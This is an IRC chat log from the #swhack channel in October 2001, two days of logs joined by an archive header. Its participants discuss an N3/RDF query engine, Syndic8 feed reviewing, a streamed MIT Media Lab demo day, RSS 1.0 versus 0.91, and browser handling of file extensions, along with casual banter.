15:00:01 <sbp> I figured out that I only needed to change one very small piece of the query engine (just append a function that adds the results to the store based upon an output context), and it was done 15:00:04 <AaronSw> Heheheh, you get points for doing Syndic8 work... one guy has 2562 points.... the guy who created the site has 55. 15:00:12 <sbp> lol 15:00:45 <AaronSw> I wonder if he was the one who complained he was being cheated out of points. 15:01:05 <AaronSw> Hmm... change the query engine... that's clever. 15:01:43 <AaronSw> Ooh, i have 37 points. 15:02:27 <sbp> sbp has quit 15:02:44 <sbp> sbp has joined #swhack 15:03:00 <sbp> what happened there? 15:03:23 <sbp> hello? 15:03:58 <lilo> [GlobalNotice] Hi all. Services will be back up in a moment, after the usual set of splits. Please bear with us. 15:04:09 <deltab> deltab has quit 15:04:19 <AaronSw> Hmm, something odd 15:04:23 <AaronSw> *** sbp has quit IRC (Read error to sbp[p8Ds10a06.client.global.net.uk]: Connection reset by peer) 15:04:23 <AaronSw> *** sbp (sean@p8Ds10a06.client.global.net.uk) has joined the channel 15:04:27 <AaronSw> What did you do? 15:04:33 <deltab> deltab has joined #swhack 15:04:45 <sbp> nothing at all, it just cut me off 15:04:48 <sbp> Grgrgmrpmgh 15:05:26 <AaronSw> AaronSw has changed the topic to: RDF Singalong Songs! (Come right in...) 15:06:08 <sbp> * sbp needs a good test for SWIPT.infer 15:07:28 <AaronSw> So you do contexts now... 15:07:36 <sbp> yeah 15:07:41 <sbp> here's the example I use:- 15:08:10 <sbp> f.n3: <#Sean> <#likes> <#TheSimpsons> . <#Sean> <#likes> <#SemanticWeb> . <#Sean> <#name> "Sean" . 15:08:11 <sbp> fq.n3: <#Sean> <#likes> ?x <#p> . ?x <#likedBy> <#Sean> <#q> . <#p> <http://www.w3.org/2000/10/swap/log#implies> <#q> . 15:08:15 <sbp> output:- 15:08:33 <sbp> <#Sean> <#name> "Sean" . <#TheSimpsons> <#likedBy> <#Sean> <#q> . <#SemanticWeb> <#likedBy> <#Sean> <#q> . 15:08:48 <sbp> er... I need to get rid of the "<#q>" in the output 15:08:58 <sbp> @@ todo 15:09:45 <AaronSw> Basis: :John :father :Paul . :Paul :father :Bob . :Bob :father :Al . 15:09:45 <AaronSw> Rule: {?x :father ?y. ?y father ?z} log:implies {?x :ancestor ?z} . 15:09:45 <AaronSw> Output: :John :ancestor :Al . 15:09:51 <AaronSw> would be a good example. 15:09:56 <sbp> * sbp tries it 15:12:51 <sbp> <#John> <#father> <#Paul> . 15:12:57 <sbp> bugger 15:14:41 <sbp> oh well, smeg that then 15:15:22 <sbp> more bug fixing to do, then... 15:15:35 <sbp> Gotta run 15:17:10 <AaronSw> c'ya 15:18:35 <sbp> sbp has quit 15:26:04 <AaronSw> What is with Mark Bernstein changing the colors of his weblog? 15:33:39 <AaronSw> [[[ 15:33:42 <AaronSw> Ironically, the fear that capitalism, mass production, and affordable access mean the death of art is, at present, more closely associated with the academic Left than with the reactionary Right; the Right seems chiefly concerned with abortion, homosexuality, and nudes. 15:33:42 <AaronSw> ]]] 15:33:45 <AaronSw> - http://www.eastgate.com/tails/ 15:34:01 <AaronSw> Grr, frames... http://www.eastgate.com/tails/country_houses.html 15:41:02 <AaronSw> Ahh, the colors are because of http://www.amazon.com/exec/obidos/ASIN/1564966038/coolbooks02 16:07:15 <AaronSw> -- 16:08:05 <AaronSw> This is new for a Republican congressman -- since I keep telling him to support the environment, he's sent me a briefing on the steps he's taken to support it. Wow~ 16:08:12 <AaronSw> s/~/!/ 16:08:51 <AaronSw> Heh: "This Mailing was prepared, published, and mailed at the taxpayer expense." Apparently they didn't have enough money to proofread it. ;-) 16:10:49 <AaronSw> -- 16:10:50 <AaronSw> * AaronSw orders an Ethernet cared for his TiVo 16:10:55 <AaronSw> http://www.9thtee.com/tivonet.htm 16:11:00 <AaronSw> s/cared/card/ 16:33:01 <sbp> sbp has joined #swhack 16:39:58 <AaronSw> Hello 16:40:16 <AaronSw> Media Lab demo days is on! http://real.media.mit.edu:8080/ramgen/encoder/highlive.rm 16:41:49 <sbp> sbp has quit 16:42:20 <AaronSw> Some AI guy on now. 16:43:18 <AaronSw> Doing adaptive UIs for programs. 16:44:23 <AaronSw> user creates vocab and machine "learns" what it "means" 16:45:18 <AaronSw> AaronSw has changed the topic to: Media Lab demo days is on! http://real.media.mit.edu:8080/ramgen/encoder/highlive.rm 16:45:41 <AaronSw> Hmm, neat demo. 16:48:09 <AaronSw> "Select all the yellow circles" and it does it. 16:48:24 <AaronSw> It learsn the terms by you taling it thru your work in the normal UI 16:48:35 <AaronSw> Like you click on the circle tool and say, this is a circle, etc. 16:48:47 <AaronSw> Now using this to build a robot. 16:49:19 <AaronSw> Giving robot goals in life, feeding it "robot cookies" if it's good. 16:53:14 <AaronSw> Joe Pompeii, creator of the Audio Spotlight is in his last semester. 16:53:36 <AaronSw> He's shrunken down the Audio Spotlight down to a tiny box! Wow. 16:54:26 <AaronSw> I was thinking of getting one for a Halloween prank. 16:56:34 <AaronSw> New guy detecting singers from MP3 files... distinguishing. 16:56:52 <AaronSw> ... social preferences work 16:59:02 <AaronSw> ... "Metadata extraction" 17:00:33 <AaronSw> ... Now we only use collaborative filtering, but not the best -- lots more musical-based information to use 17:02:07 <sbp> sbp has joined #swhack 17:02:17 <AaronSw> Cool, he's doing Eikon for music. 17:03:07 <AaronSw> he just reduces it down to a sine wave.. .doesn't work to well 17:03:15 <AaronSw> looking at instruments, previous listening experience, etc. 17:03:30 <AaronSw> as an alternative 17:05:19 <AaronSw> Yuck, company rep wants to point out how high the switching cost it is... and is happy about it. 17:06:08 <AaronSw> -- Wow, these are ugly couches: http://www.surefit.net/ugly_semi.cfm -- 17:09:13 <AaronSw> Whee, it's the Parrot Lady! 17:09:37 <AaronSw> Hmm, maybe not -- it's the other lady... the one who creates digital people. 17:10:06 <AaronSw> Key part of humans: telling stories 17:11:00 <AaronSw> Make trust judgements in other a 30th of a second. 17:13:06 <sbp> sbp has quit 17:13:33 <AaronSw> Whee, it's REA -- the virtual real estate agent. She was in the ACM. 17:15:38 <AaronSw> Ahh, cool it's the talking dollhouse. 17:15:40 <AaronSw> SAM. 17:15:59 <AaronSw> MACK, a virtual receptionist. 17:16:14 <AaronSw> SAM causes kids to tell more elaborate stories than when by themselves or with their friends. 17:17:13 <AaronSw> People trust this system more when the computer talks... at least extroverts do 17:17:40 <AaronSw> People signal topic changes by making body shifts... unfold their arms, etc. 17:18:17 <AaronSw> extroverts pay more money for houses f2f, introverts paid more via phone 17:18:40 <AaronSw> People talking to characters on a PDA. 17:19:04 <AaronSw> People still use hand gestures, but at a lower frequency with a PDA. 17:19:28 <AaronSw> BEAT -- black box that generates non-verbal behavior only from text 17:20:58 <AaronSw> bookmarking... Street Performer Protocol in HTML: http://www.firstmonday.org/issues/issue4_6/kelsey/ 17:22:01 <AaronSw> "While doing this study... we had to go to Harvard to find extroverts" 17:22:04 <AaronSw> Heheh. 17:22:18 <AaronSw> Those MITers. 17:24:57 <AaronSw> Aww! Stan Winston's giving a class! 17:27:42 <sbp> sbp has joined #swhack 17:28:19 <AaronSw> Lunch Break 17:28:21 <AaronSw> Hi sbp 17:29:04 <sbp> Hi Aaron 17:29:19 <AaronSw> Nick Negroponte at 2 17:33:17 <sbp> sbp has quit 17:43:45 <sbp> sbp has joined #swhack 17:45:18 <AaronSw> So how're things? 17:45:49 <AaronSw> Apparently it's easy to find out if someone's an introvert: Do you spend a lot of time alone? Do you work at MIT? 17:46:00 <AaronSw> From the Media Lab presentation. 17:47:09 <sbp> sbp has quit 17:47:52 <AaronSw> Gary Lawrence Murphy: """Babies are false advertising. I can say that because I've done it five times and still haven't learned that lesson ;) I'm beginning to think they all eventually grow up to have blue hair.""" 17:48:09 <AaronSw> Pablo Picasso: "Computers are useless. They can only give you answers." (from his .sig) 18:30:30 <AaronSw> OK, Media Lab is back on. 18:34:48 <AaronSw> Negroponte is on. ...Want to center the Media Lab around "Digital Nations" -- like Media for countries, not companies 18:35:06 <AaronSw> Not directing the Media is like having it as grandchildren... assets, not liabilities 18:35:55 <AaronSw> (Negroponte resigned after a freak bathtub incident -- I'm not kidding!) 18:40:37 <AaronSw> -- Julian Bond on Manchester United: "Football is not a matter of Life and Death, it's more important than that!" -- 19:00:32 <sbp> sbp has joined #swhack 19:02:39 <sbp> Aaron, your server is slow... 19:02:44 <AaronSw> Yeah, I know. 19:03:43 <AaronSw> What this time? 19:04:48 <sbp> pardon? 19:05:09 <AaronSw> What exactly is so slow? 19:05:53 <sbp> the #swhack server logs 19:06:14 <sbp> probably due to the thousands of people trying to download them 19:06:42 <AaronSw> Oh, of course. 19:07:00 <AaronSw> I dunno, they're quite speedy for me. 19:08:57 <AaronSw> * AaronSw tries out Radio4's radio hypertext: http://www.bbc.co.uk/radio4/wheel/sneakpreview.shtml 19:09:17 <AaronSw> (now that the Media Lab bit is over) 19:13:33 <sbp> Gotta run 19:13:44 <AaronSw> c'ya 19:16:34 <sbp> sbp has quit 19:44:41 <Morbus> Morbus has joined #swhack 19:48:04 <Morbus> Morbus has left #swhack 20:04:46 <AaronSw> Another Morbus sighting! 20:45:59 <sbp> sbp has joined #swhack 20:49:52 <AaronSw> ooooeeeee 20:51:16 <sbp> sbp has quit 20:52:55 <AaronSw> Ted Nelson: """writing is essentially what I would call a two-God system, because God the author proposes and God the reader disposes. The author is completely free to do anything on the page that he likes.""" 20:53:20 <AaronSw> - http://news.bbc.co.uk/hi/english/sci/tech/newsid_1581000/1581891.stm 21:59:57 <sbp> sbp has joined #swhack 22:04:00 <sbp> sbp has quit 22:19:49 <sbp> sbp has joined #swhack 22:20:54 <Morbus> Morbus has joined #swhack 22:22:20 <AaronSw> hi guys 22:23:08 <sbp> sbp has quit 22:23:20 <Morbus> i prefer the term, hi girls 22:26:00 <AaronSw> OK, then. hi girl 22:32:18 <AaronSw> Dan Connolly: """Now there's a red flag right there: the guy who has been doing symbolic logic for breakfast since about the time I was born got this wrong several times.""" 22:41:19 <AaronSw> Wheee, Media Lab is on again. 22:42:27 <Morbus> what is it? 22:43:04 <AaronSw> Stan Winston -- the guy who does the animatronics for Star Wars, etc. 22:43:18 <AaronSw> founded the Digital Domain SFX company 22:43:42 <Morbus> Oooh. 22:43:52 <Morbus> he's making action figures to compete with mcfarlane 22:49:18 <AaronSw> Wow, he's done a lot of movies. 23:06:47 <Morbus> bah, i need a secretary 23:07:51 <AaronSw> heh, you and everyone else 23:09:53 <Morbus> you wanna be each other person's secretary? 23:10:06 <Morbus> that way, we'll realize that we CAN'T have secretaries 23:10:13 <Morbus> because we'll both screw up the other's shit 23:10:39 <AaronSw> heh, yeah -- that's why i don't want a secretar, but it seems everyone else does 23:10:46 <AaronSw> ... well at least people who've had them in the past 23:20:45 <sbp> sbp has joined #swhack 23:20:58 <AaronSw> 'lo 23:21:11 <sbp> 'i 23:21:20 <Morbus> ' 23:21:39 <AaronSw> ') 23:22:30 <sbp> '? 23:22:44 <AaronSw> :-) -> ') 23:22:49 <sbp> '! 23:22:55 <Morbus> '~' 23:23:36 <AaronSw> ? 23:23:43 <Morbus> ok 23:23:52 <Morbus> i think we can certifably give eahc other the pathetic award. 23:23:58 <Morbus> funny, this kinda reminsd me of the old bbs days 23:24:03 <Morbus> remmeber ansi art? 23:24:10 <Morbus> welp, my friend and i invented basn 23:24:15 <Morbus> "bad ascii short notice" 23:24:29 <Morbus> the goal, to create a piece of ascii work in a chat room as fast as possible when you know you can't go backwards. 23:24:34 <Morbus> was oh so enjoyable. 23:24:41 <Morbus> i still have some of the horrible things we made ;) 23:24:41 <AaronSw> Stan Winston: Teddy from AI was most difficult robot, had to relate with audience, but was great actor 23:24:51 <AaronSw> Heheh, sounds fun. 23:25:01 <Morbus> teddy stole that movie 23:25:10 <Morbus> i cared more about him than haley 23:25:20 <Morbus> when he fell from the heli-thing, i was like NooOOOoO! 23:25:44 <AaronSw> Heheh. 23:25:48 <sbp> sbp has changed the topic to: #swhack: winner of the prestigious Morbus/disobey.com "pathetic" award, 2001 23:25:56 <AaronSw> lol @ topic 23:26:00 <AaronSw> teddy was great. 23:26:06 <AaronSw> Stan wanted to do Haley as a robot too ;) 23:26:11 <Morbus> hyehehehe 23:26:33 <AaronSw> Steven wouldn't go for it. 23:33:02 <Morbus> oh, did you hear of the window compression thingy for osx? 23:33:07 <Morbus> i gotta try it in a bit. 23:33:14 <Morbus> and there's this new software i wanna try. 23:33:19 <AaronSw> no... what is it? 23:33:38 <Morbus> welp, there's two sw's i'm trying soon: http://www.stimpsoft.com/products/snapperhead.html 23:34:15 <Morbus> http://www.macupdate.com/info.php/id/6411 23:34:22 <Morbus> and i'll forward you the memory thing 23:34:41 <Morbus> sent to aswartz@logicerror.com 23:34:58 <sbp> * sbp goes on a little "don't embed XML RDF into XHTML!" spree, on w-v 23:35:04 <AaronSw> heheh 23:35:12 <AaronSw> But you're ruining the fun, sbp! 23:35:16 <sbp> He he he 23:35:28 <sbp> TS! :-) 23:35:39 <Morbus> wv? 23:36:12 <sbp> t**** s*** 23:36:20 <Morbus> aaronSw, i'm up to a total of $35 for amphet ;) 23:36:26 <AaronSw> woo! 23:36:27 <sbp> er... sorry, wrong one 23:36:27 <Morbus> not TS, w-v? what's w-v? 23:36:33 <sbp> w**-v******** 23:36:35 <Morbus> yeah,. i'm in the chips now 23:36:40 <AaronSw> Morbus, if this window compression thing is true why didn't apple ship it? 23:36:50 <Morbus> i have no flipping clue. that's what someone else asked on the list. no response yet 23:37:34 <AaronSw> www-validator 23:37:43 <sbp> aw, Aaron. Now who spoils the fun? 23:37:46 <Morbus> hehehehe 23:37:49 <sbp> :-) 23:37:57 <AaronSw> well, you could have denied it, sbp! 23:38:05 <Morbus> touchE! 23:38:15 <sbp> no I couldn't 23:39:45 <sbp> How Not To Be Seen 23:39:54 <sbp> Rule 1: Don't stand up 23:40:15 <sbp> Rule 2: Don't hide behind obvious bushes 23:40:23 <sbp> Rule 3: Don't hide behind bushes 23:40:35 <sbp> Rule 4: Don't hide in water barrels 23:40:38 <AaronSw> That was a great short. 23:40:46 <sbp> Rule 5: Don't speak whilst in filing cabinets 23:40:53 <Morbus> or mailboxes 23:40:54 <sbp> certainly was 23:41:45 <sbp> perhaps I could do that in RDF? 23:41:49 <Morbus> hey did anyone else get contacted by bcg.com for an O.S. server? 23:41:57 <Morbus> or contacted from gnu.org about their free software? 23:42:11 <AaronSw> Huh? 23:42:13 <Morbus> i've been getting hit a lot by legitimate os/fs mail. just wondering if its just me 23:42:21 <AaronSw> What'd gnu.org say? 23:42:50 <Morbus> so chick^H^H^H^H^Hladylike person sent me an email about being included in a GNU published free software list 23:43:02 <sbp> lol 23:43:32 <Morbus> and then i got a survey thingy due to amphetadesk being on sf or something 23:44:26 <AaronSw> Ahh, see that's it -- you whore out to freshmeat and the like 23:44:36 <Morbus> i haven't done anything to fm. am i on fm? 23:44:50 <Morbus> i don't even know. haven't spammed ampheta much to the linux engines 23:45:05 <sbp> I'm suprised that they didn't do: "There is one important rule for not being seen: don't stand up, and don't hide behind bush... two! there are two important..." 23:45:08 <Morbus> oh what the hell. 23:45:19 <Morbus> i can't flipping approve sites on syndic8 with ie 5.1 23:45:22 <Morbus> the buttons don't show up 23:45:33 <sbp> use Mozilla! 23:45:42 <AaronSw> They show up for me! 23:45:48 <Morbus> ? maybe i fucked up. 23:45:59 <Morbus> i tried to add the feed, it said it existed, i went to it, and the buttons aren't ther. 23:46:08 <Morbus> lemme try urlhacking the review 23:46:12 <AaronSw> His new character is a talking robot for children -- it looks like an overgrown Furby. ick. he's looking for a name 23:46:22 <AaronSw> Yeah, try adding Mode=appr to the URL 23:46:32 <Morbus> oh yeah, there they are 23:48:51 <sbp> sbp has quit 23:51:36 <Morbus> well, that sucks. 23:51:43 <Morbus> somehow my eudora mail statistics got wiped out 23:53:46 <AaronSw> ick 23:54:03 <Morbus> sniff 23:54:12 <Morbus> i've had 1905 for this year, and 1903 this month. 23:54:15 <Morbus> dammit. i want my stats! 23:54:20 <Morbus> they stretched back to august of 2000. 23:54:32 <AaronSw> XML corruption! 23:54:48 <Morbus> or something. 23:55:09 <Morbus> looking at the xml shows the stats i read, not corruption. damn thing probably started over and didn't back it up so i coudl fix it. 23:55:11 <AaronSw> keep good backups, man 23:55:14 <Morbus> guess i could fundge the numbers ;) 23:55:30 <AaronSw> http://uprizer.com/ launches! 23:56:06 <Morbus> what's that? 23:56:16 <AaronSw> Commercial Freenet 23:56:29 <Morbus> aj 23:56:31 <Morbus> ah 23:56:45 <Morbus> man, they couldn't saved me an excruciating marketing gumbo paragrpah read if they just said that 23:57:53 <Morbus> ah well. 23:57:56 <Morbus> deleting the stats. 23:58:04 <AaronSw> Heh 23:58:04 <Morbus> cos it's still thinks i'm reading from aug2000. 23:58:10 <Morbus> so i'm getting skweed stats now. :) 23:58:21 <deltab> where do the apporve/skip buttons appear on syndic8? 23:58:32 <AaronSw> Under the info box 23:58:39 <Morbus> log in, become a reviewer, click the home page button, "start reviewing" �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-12.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000212436�07361700460�012005� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:00:56 <logster> logster has joined #swhack 00:00:56 <niven.openprojects.net> topic is: #swhack: winner of the prestigious Morbus/disobey.com "pathetic" award, 2001 00:00:56 <niven.openprojects.net> Users on #swhack: logster Morbus deltab AaronSw 00:01:55 <deltab> nope 00:02:11 <Morbus> and you're logged in? and you've got reviewer status? 00:02:43 <deltab> hmm, the first page has my username, status, and "Start reviewing", but the pages after that don't 00:02:56 <Morbus> and when you lcick on start reviewing, you don't see em? 00:03:02 <deltab> no 00:03:04 <Morbus> what browser are you using? 00:03:09 <deltab> links 00:03:20 <Morbus> not familiar with that one. 00:03:34 <deltab> it's got cookie support 00:03:43 <Morbus> and css? 00:03:52 <deltab> not yet 00:03:59 <Morbus> maybe that's it. 00:04:03 <Morbus> the buttons are colored via css 00:04:20 <deltab> there simply aren't any buttons 00:04:28 <deltab> I checked the html 00:04:41 <Morbus> well, that's weird. 00:06:00 <AaronSw> Bush! 00:06:23 <Morbus> Pygmy! 00:08:35 <AaronSw> You can just see him stall as someone types new words into his teleprompter. ;-) 00:10:18 <Morbus> hehe 00:13:00 <AaronSw> ...dinnertime! 00:13:07 <Morbus> afk for a bit. 00:16:48 <sbp> sbp has joined #swhack 00:19:31 <sbp> D'ya know what I say? Bollocks is what I say. It's taken nearly half an hour to connect 00:22:55 <Morbus> boloocks. 00:23:02 <Morbus> hey, do you read warren ellis? 00:23:05 <Morbus> or garth ennis? 00:25:02 <sbp> me? are you talking to me? me?! 00:25:14 <Morbus> yes you! you, i dare say, youoOOuu! 00:25:27 <sbp> nope, I don't 00:27:18 <Morbus> * Morbus is listening to PowerPuff FM again 00:27:38 <deltab> what's that? 00:27:47 <Morbus> a radiu station of just cartoon theme songs 00:27:57 <Morbus> streaming mp3 00:28:08 <Morbus> works great over 56k 00:28:11 <Morbus> :) 00:28:12 <deltab> where? 00:28:42 <Morbus> animehardcore.net is the parent site and the mp3 link is... 00:28:51 <Morbus> http://pri.kts-af.net/redir/index.pls?esid=94321d77332591e0b1461453e1b2f661&url_no=2&client_id=7&uid=68efed4d03ec7e45fd3978262c107180&clicksrc=xml 00:28:57 <deltab> eek 00:29:06 <Morbus> heh. at least, that's how itunes reports it :) 00:29:30 <sbp> do they ever play the Simpsons' theme? 00:29:41 <Morbus> nope, but they rotate the play list every month or so 00:29:52 <Morbus> they play some old simpson tracks from the cd that came out though 00:29:57 <Morbus> the bartman, lisa it's your birthday, that sorta crap 00:30:21 <Morbus> they're playing earthworm jim right now 00:30:35 <deltab> * deltab dereferences 00:30:37 <deltab> http://166.90.143.142:10820 00:30:47 <Morbus> ehehehheeh. that works too? man, that's funny 00:34:25 <Morbus> you listening deltab? 00:35:24 <sbp> Homer: Marge, it takes two to lie. One to lie, and one to listen 00:42:51 <sbp> sbp has quit 00:45:15 <Morbus> Morbus has quit 00:47:14 <AaronSw> Let's all join hands and send a dollar to Afghanistan! 00:47:18 <Morbus> Morbus has joined #swhack 00:53:46 <AaronSw> Yuck, UserLand is spreading RSS 1.0 misinformation. 00:56:15 <Morbus> what now? 00:56:33 <AaronSw> They are telling people with RSS 1.0 feeds that they are broken and should switch to 0.91. 00:56:42 <Morbus> whaaa? how'd you find that out? 00:56:56 <AaronSw> I've been getting emails from people complaining. 00:57:05 <AaronSw> They ask why I serve up RSS 1.0 since it's not compatible with UserLand. 00:57:14 <AaronSw> And quote messages from UserLand employees. 00:57:21 <AaronSw> (OK, just one person has done this, but still.) 00:57:53 <Morbus> sheesh. you should post that somewhere. 00:58:12 <Morbus> or recommend readers that read 1.0 fine. 00:58:22 <Morbus> whistle, whistle, nudge, nudge 00:58:24 <Morbus> ;) 00:58:42 <AaronSw> Heheh, I will take it up with the employee mentioned. 01:00:10 <Morbus> lemme know how it goes. i'll be interested to see the response 01:00:41 <sbp> sbp has joined #swhack 01:00:55 <AaronSw> 'lo 01:01:01 <sbp> 'i 01:01:02 <Morbus> ' 01:01:18 <Morbus> heh 01:01:21 <AaronSw> 'ot again! 01:01:23 <sbp> '? 01:01:28 <sbp> he he he 01:01:38 <sbp> * sbp underlines the topic 01:01:43 <Morbus> heheh 01:01:43 <sbp> I just published: http://infomesh.net/2001/10/dothtml/ 01:02:55 <Morbus> am i lagging? 01:03:06 <Morbus> nope. guess not. 01:03:10 <Morbus> took me forever to coonect to that wsite 01:03:18 <AaronSw> hmm 01:03:25 <AaronSw> Sean's server does that sometimes. 01:03:40 <Morbus> hey! 01:03:45 <AaronSw> Huh? "The world and it's dog use ".html" as a part of a URI" 01:03:47 <Morbus> sbp, did you read my xml-rpc rant? 01:03:52 <AaronSw> Where? Where? 01:04:12 <Morbus> aaron, you didn't read it? it was on syndication aw hile ago. well received by a lot of people. linked a bunch of places, etc. 01:04:17 <Morbus> and mentioned a DOG as an example cahracter. 01:04:23 <Morbus> i think sean's ripping me off. 01:04:28 <AaronSw> Hmm, I think I remember it. 01:04:30 <sbp> * sbp sends the rant to www-qa 01:04:39 <Morbus> hat rant?this rant/ 01:04:40 <sbp> DOG? Aw, I missed it 01:04:57 <Morbus> did you see that xml-rpc rant, sbp? 01:05:02 <sbp> nope 01:05:18 <sbp> URI? (with or without ".html") 01:05:24 <AaronSw> Look who's talking sbp -- you're the one who always chops off the .html on stuff! 01:05:31 <sbp> I know 01:05:36 <Morbus> don't condone him 01:05:40 <sbp> [[[ 01:05:40 <sbp> I'm just noodling on something TimBL wrote about ".html" file extenisons 01:05:40 <sbp> being counter to persistence axioms. I'm not sure I can totally defend the 01:05:40 <sbp> ".html" position, and I still go to great lengths to avoid file 01:05:40 <sbp> extensions... but enjoy the note anyway. 01:05:41 <sbp> ]]] 01:05:41 <Morbus> devil's advocate is a very neccessary thing 01:05:47 <Morbus> http://groups.yahoo.com/group/syndication/message/2217 01:05:56 <sbp> cheers, Morby 01:06:35 <Morbus> you know, this is the first time i've been to your site. 01:06:40 <sbp> heh: "share the love!" 01:06:44 <Morbus> heheheh 01:06:45 <AaronSw> where's that "just noodling" quote from? 01:06:47 <sbp> ooh, your first time 01:06:50 <Morbus> i know. 01:06:52 <Morbus> it hurts. 01:06:53 <sbp> just noodling: www-qa 01:08:13 <sbp> lol! 01:08:14 <sbp> [[[ 01:08:14 <sbp> I'm sure everyone on this list knows what that means. But my dog? Nope, my 01:08:15 <sbp> dog is gonna lick his nuts in feverish confusion. And I don't even have a 01:08:15 <sbp> dog, so that means an awful lot of confusion. 01:08:16 <sbp> ]]] 01:08:20 <Morbus> hehehehe 01:08:24 <Morbus> thats what i'm talking about :) 01:08:31 <sbp> that's a masterpiece 01:08:34 <Morbus> lol 01:12:20 <sbp> heh: "Hey! In your current listing, 01:12:20 <sbp> thirteen other people linked to this site. You're not 01:12:20 <sbp> being very original, binky. AmphetaDesk will now crash in 01:12:20 <sbp> a fit of Koontz inspired anger." 01:12:43 <sbp> does it really have that function built-in? 01:13:14 <Morbus> hehe. not yet :) 01:13:31 <Morbus> do you get the Koontz joke? 01:14:08 <sbp> Dean Koontz? 01:14:11 <AaronSw> nope 01:14:38 <sbp> Abraham Koontz? 01:14:52 <AaronSw> oops, the nope was that i don't get it, not re dean 01:15:22 <sbp> Koontz is a horror writer... 'tis all I know 01:15:37 <AaronSw> an unoriginal horror writer 01:15:40 <Morbus> exactly. 01:15:41 <AaronSw> Roland F. Koontz, it might be 01:15:51 <Morbus> read two or three of his books, and you've read them all 01:15:58 <Morbus> dean koonz. 01:16:01 <Morbus> is the right one 01:16:02 <AaronSw> that's what epinions says 01:16:11 <Morbus> oh yeah? didn't know that. 01:16:28 <sbp> ah, so it's anger inspired by wasting too much money on Dean Koontz books? 01:16:30 <AaronSw> [[[ 01:16:31 <AaronSw> Dean Koontz has never been on my top list of must-read authors... his books have always been the fillers for me: filling in the space between books by authors I stalk the library for, if you know what I mean. 01:16:32 <AaronSw> ]]] 01:16:38 <Morbus> heh... 01:16:46 <Morbus> money, time, and brainpower, yes. 01:16:48 <Morbus> :) 01:17:03 <sbp> yeah, well imagine how Dean Koontz feels, then 01:17:55 <sbp> Ooh, a reply from Ian already on www-qa 01:18:05 <sbp> [[[ 01:18:05 <sbp> Up to now, .html has been the only game in town for document markup. 01:18:05 <sbp> For image formats, we typically leave off the extension. Now that SVG is 01:18:05 <sbp> a Recommendation, we'll probably start publishing several versions of an 01:18:05 <sbp> image, so that you get the best format your browser supports. 01:18:06 <sbp> ]]] 01:18:34 <sbp> - http://lists.w3.org/Archives/Public/www-qa/2001Oct/0038 01:19:37 <sbp> Whenever someone writes a confusing letter to me from now on, I can just say, "stop it! my Dog's balls are red enough as it is, give the poor chap a break!" 01:21:19 <sbp> IE 6PR had a bug where it wouldn't display GIF files that didn't have a ".gif" extension. That was sooo annoying 01:21:30 <sbp> they've fixed it in the full version 01:23:22 <Morbus> you should, it'll be our little joke 01:23:37 <Morbus> give an xhtml document an .xml extension and ie6 will display it as raw code 01:23:46 <Morbus> happens on amphetadesk when people delete=filename.xml 01:24:19 <sbp> Mozilla treats it "right" though, I think 01:24:38 <sbp> but neither of the things let you access the "default" stylesheet and bugger about with it 01:25:25 <AaronSw> maybe because they don't have one 01:28:05 <sbp> yeah 01:28:11 <sbp> well no, they must have 01:28:20 <sbp> but not an accessible one 01:28:41 <AaronSw> Why must they? 01:28:55 <AaronSw> accessible as in get at it or Accessible as in WAI? 01:30:45 <sbp> as in "get it" 01:31:01 <sbp> which is a function of the latter sense :-) 01:31:08 <AaronSw> The UserLand rep kindly apologized and said: "This was a misunderstanding on my part, though I don't remember the specific channel, or what its XML looked like." 01:31:26 <sbp> what's that in reference to? 01:32:14 <AaronSw> In reference to the fact he was spreading misinformation about RSS 1.0 before. 01:32:15 <Morbus> ah, well, thats' good then 01:41:25 <AaronSw> Dave Winer: "Whitepapers are a dime a dozen. I bet most don't even pass a Turing Test." 01:44:12 <Morbus> wha? 01:44:17 <Morbus> oh. o. 01:44:20 <Morbus> ok. i get it. 01:44:52 <Morbus> just sent a big email out concernign syncasaurus. sheesh. 01:45:11 <AaronSw> where to? 01:45:30 <Morbus> the -develop mailing list at sf. 01:45:43 <Morbus> some guy did a screen by screen grab of the bookmarksync process. 01:45:55 <Morbus> the email concerns that process, and the one we've currently drafted 01:46:57 <Morbus> heheh 01:49:53 <Morbus> you know what i hate? 01:49:59 <sbp> what? 01:50:00 <Morbus> i hear about new xml standards or whatever or what have you. 01:50:08 <Morbus> so i rush off to the site, and the first thing i look for is a big old example link 01:50:19 <Morbus> i don't care about the methology, or the dtd or the white paper or who implemented it. 01:50:27 <Morbus> i just want to see an xml document. even if it's alpha. 01:50:34 <Morbus> it's the whole code shui thing. i like things to look OK. 01:50:39 <AaronSw> me too! 01:50:42 <Morbus> i hate OCS, cos it looks ugly as hell. 01:50:43 <sbp> yeah, me too 01:51:02 <sbp> er... about the XML documents 01:51:22 <Morbus> so, i remember checking out humanML (and syncML too) and not seeing any examples, and running away 01:51:29 <Morbus> see, now, xkitchensink gave me an example. 01:51:34 <Morbus> :) 01:51:41 <sbp> ah! XKitchenSink is a good standard 01:51:43 <AaronSw> we did? we better take that out... 01:51:48 <sbp> lol 01:51:56 <Morbus> i heard crucial ram was pretty good too 01:51:57 <Morbus> lol 01:52:47 <AaronSw> Yeah, my server went down today and I thought I should buy some crucial ram for it 01:53:05 <AaronSw> but its ram slots were full with... curcial ram! 01:53:16 <Morbus> i'm tellin ya, there was a pigeon on my a/c today. i threw some crucial ram at it, and everything was roses 01:53:16 <AaronSw> and you know what, the box was sold to me by the folks who own crucial ram! 01:56:35 <AaronSw> Sean, you don't 01:56:39 <AaronSw> use CVS., do you? 01:56:52 <sbp> CVS? On IIS? Heh, heh, heh, heh, heh! 01:57:01 <AaronSw> it's independent of the web server 01:57:03 <AaronSw> So why do you insist on sticking cryptic: $Id: sbp:OhYeah, 01 July 2001 00:58:32 spalmer Exp $ gunk on your pages? 01:57:09 <Morbus> heh 01:57:13 <Morbus> its reet. 01:57:21 <sbp> because I wrote a CVS style program in ASP 01:57:26 <AaronSw> oh dear 01:57:32 <sbp> oh dear is right! 01:57:43 <Morbus> i wrote a module called Log::Simple, which uses stuff like $Log::Simple::Config->{$config} and I kept wondering why it was breaking after being CVS'd ;) 01:57:55 <AaronSw> heh 01:57:56 <sbp> heh heh 01:58:24 <AaronSw> Why do you even insisit on sticking Exp in there? Do you even know what it means? 01:58:38 <AaronSw> Your website still says "I'm also a HumanMarkup TC member, for some reason." btw 01:58:51 <sbp> Whoopsy bollocks 01:59:10 